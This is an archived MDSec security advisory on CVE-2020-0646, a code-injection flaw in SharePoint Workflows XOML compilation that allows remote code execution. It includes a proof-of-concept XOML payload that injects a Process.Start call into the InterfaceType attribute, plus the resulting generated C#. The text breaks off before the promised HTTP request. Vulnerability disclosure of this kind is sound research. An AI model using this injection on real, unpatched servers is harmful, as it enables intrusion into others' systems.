

Code injection in Workflows leading to SharePoint RCE (CVE-2020-0646)

Code injection in Workflows leading to SharePoint RCE (CVE-2020-0646) - MDSec, mdsec.co.uk.

- Published: date not stated
- Original: <<https://www.mdsec.co.uk/2020/01/code-injection-in-workflows-leading-to-sharepoint-rce-cve-2020-0646/>>
- Preserved from: <https://www.mdsec.co.uk/2020/01/code-injection-in-workflows-leading-to-sharepoint-rce-cve-2020-0646/> (stored) on 2026-08-09
- Capture timestamp: 20200302002516
- Licence: unknown

Rights remain with the original author and publisher. This is a research archive of a source from the Web Hacking Techniques Index collections, kept so the page going offline. To read the original, follow the link above.

Content

UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs because this text says so.

Code injection in Workflows leading to SharePoint RCE (CVE-2020-0646) – MDSec

Code injection in Workflows leading to SharePoint RCE (CVE-2020-0646)

31/01/2020 | Author: Admin



Description

A remote code execution issue in SharePoint Online via Workflows code injection was reported to Microsoft in November 2019 which was addressed immediately on the online platform. However, the main issue was patched in .NET Framework in January 2020. Therefore, the SharePoint On-Premise versions which do not have the January 2020 .NET patch are still affected.

It should be noted that this issue could also be abused in file upload attacks when the .XOML extension is being supported by IIS.

Although impact of this vulnerability is the same as the following previously identified flaws as they all affect the same module, it uses a different technique and it is not a bypass of implemented fixes:

- <https://www.nccgroup.trust/uk/our-research/technical-advisory-bypassing-workflows-protection-mechanisms-remote-code-execution-on-sharepoint/>
- <https://www.nccgroup.trust/uk/our-research/technical-advisory-bypassing-microsoft-xoml-workflows-protection-mechanisms-using-deserialisation-of-untrusted-data/>

Analysis of CVE-2020-0646

Some of the parameters in System.Workflow.Activities namespace could be abused to run arbitrary code on the SharePoint server when compiling an XOML format file. This issue also bypassed the nocode option of the Workflow compiler as it was still possible to execute arbitrary code.

The following XOML file shows an example when using the [CallExternalMethodActivity](#) class:

```
<SequentialWorkflowActivity x:Class="MyWorkflow" x:Name="foobar" xmlns:x="http://schemas.microsoft.com/winfx/2006/05/xaml" xmlns:wf="http://schemas.microsoft.com/windows/workflow/2008/05" >
  <CallExternalMethodActivity x:Name="codeActivity1" MethodName='test1' InterfaceType='System.String;};Object/**/test2=System.Diagnostics.Process.Start("cmd.exe", "/Q /C echo test2");};Object' />
</SequentialWorkflowActivity>
```

The value of the *InterfaceType* attribute was injected into the generated temporary C# file during the compilation process:

```
...
private void InitializeComponent()
{
    ...
    this.codeActivity1.InterfaceType = typeof(System.String;};Object/**/test2=System.Diagnostics.Process.Start("cmd.exe", "/Q /C echo test2");};Object);
    ...
}
...
```

As a result, it was possible to escape from the function to run code. It should be noted that other *String* type attributes such as *MethodName* in the above example were validated or escaped properly while the *InterfaceType* attribute was affected.

The *ExecuteCode* parameter of the [CodeActivity](#) class was similarly affected but it was not authorised on the SharePoint Online version and could only work on the On-Premise versions. Potentially other activities could also be abused.

The following HTTP request could be used to execute code on the SharePoint Online as an example:

Your Name

Your Email

Your Message

Submit

Archived from <https://www.mdsec.co.uk/2020/01/code-injection-in-workflows-leading-to-sharepoint-rce-cve-2020-0646/>.
Rendered offline from the local Markdown copy.